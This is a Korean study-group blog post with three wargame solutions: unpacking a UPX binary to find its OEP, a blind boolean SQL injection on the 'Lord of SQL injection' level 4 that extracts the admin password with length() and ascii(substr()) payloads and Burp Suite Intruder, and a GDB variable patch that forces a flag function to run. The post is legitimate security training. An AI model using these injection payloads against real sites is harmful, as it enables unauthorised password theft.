본문 바로가기

4-1. 2026-1 심화 스터디/워게임 도장깨기

[5주차] 워게임도장깨기_리버싱

OEP를 구하시오.

 

UPX로 패킹 되어 있다.

 

 

언패킹 완료

 

 

start address 0x01012475가 VA이다.

  • VA = ImageBase + RVA
  • VA: 실행 중 메모리 주소, RVA: 파일 시작 기준(ImageBase) 상대 위치

 

정상 코드 등장, OEP는 01012475

 

 

 

Lord of SQL injection 4

문제

Lord of SQL injection 4

풀이

조건 & 제약사항

preg_match 함수를 통해 ' , " , ` 의 사용이 차단되어있음

실제 데이터 베이스에 저장된 admin의 비밀번호를 정확하게 알아내야함

 

아이디어

데이터베이스가 참일 때와 거짓일 때 화면에 출력되는 메시지가 다르다는 점을 이용

참일 때: 화면에 Hello admin 출력

거짓일 때: 아무것도 출력되지 않음

-> 비밀번호의 길이를 먼저 알아내고 그 다음에 한 글자씩 맞춰나가기

 

1. 비밀번호 길이 알아내기

length() 함수 사용

입력: ?pw=' or id='admin' and length(pw)=1 %23

입력: ?pw=' or id='admin' and length(pw)=2 %23

...

정답: ?pw=' or id='admin' and length(pw)=8 %23

-> 비밀번호는 8자리

길이 1
길이 8

2. 비밀번호의 각 자리 문자 알아내기

첫 글자 찾기: (97은 'a')

?pw=' or id='admin' and ascii(substr(pw,1,1))=97 %23

 

hello admin이 나올 때 까지 숫자를 바꿔가면서 시도하기

 

하지만 이렇게 모든 자리를 수동으로 구하는것은 번거로워서 Burp Suite로 자동대입을 할거임

 

 

3. Burp Suite으로 비밀번호 알아내기

-> 요청을 낚아 챈다

 

 

-> pw=1 을 pw=' or id='admin' and ascii(substr(pw,1,1))=1 %23 이걸로 바꿔준다

-> 자동 대입할 부분에 변수 표시(§) 하기

 

-> 공격하기

 

 

-> 대입할 값을 설정한다

Payload set: 1 (비밀번호 위치: 1번~8번 자리)

Payload type: Numbers

From: 1 / To: 8 / Step: 1 (1~8글자까지 확인하겠다는 뜻)

 

Payload set: 2 (아스키 코드 값: 32~127번)

Payload type: Numbers

From: 48 / To: 122 / Step: 1

 

이 공격을 돌려보면

pw의 값이  095A9852라는 것을 알 수 있다

Description 문제풀이

 

1. 프로그램 실행: 10~1까지 차례대로 숫자가 나온다 > 숫자를 감소시키는 반복문이 있음을 알 수 있다.

 

2. disas main으로 main 함수 보기: 

- 변수 초기화
movl $0xa,-0x4(%rbp) : 0xa = 10이고 -0x4(%rbp)는 지역변수 저장위치, movl는 값을 넣는 것이기 때문에 지역 변수에 10을 넣는 것을 알 수 있다.
 
- 반복, 감소 연산
0x00005555555555aa <+278>: cmpl $0x5,-0x4(%rbp): cnt 자리인 -0x4(%rbp)에 있는 값과 5를 비교하라는 줄을 찾을 수 있다.

subl $0x1,-0x4(%rbp): cnt에서 1 감소

 

- 핵심 연산

cmpl $0x5,-0x4(%rbp): cnt랑 5를 비교> 바로 뒤에 jump문이 있음

 

대충 코드는 아래와 같이 나온다.

 

cnt = 10;

while (cnt > 0) {
    printf("%d\n", cnt);
    cnt--;
}

if (cnt == 5) {
    flag_gen();
}

 

반복문 끝나면 cnt는 0되는데 cnt가 5가 되어야 하기 때문에 브레이크를 걸어야 한다.

 

3. 브레이크 걸고 실행

b *0x00005555555555aa: cnt==5검사 직전에 멈춘다.

set *(int*)($rbp-0x4)=5: cnt = 5로 강제 변경한다.

c: 멈춘 곳부터 계속 실행

 

> 조건문이 참이 돼서 flag_gen()이 실행되고 플래그가 출력 된다.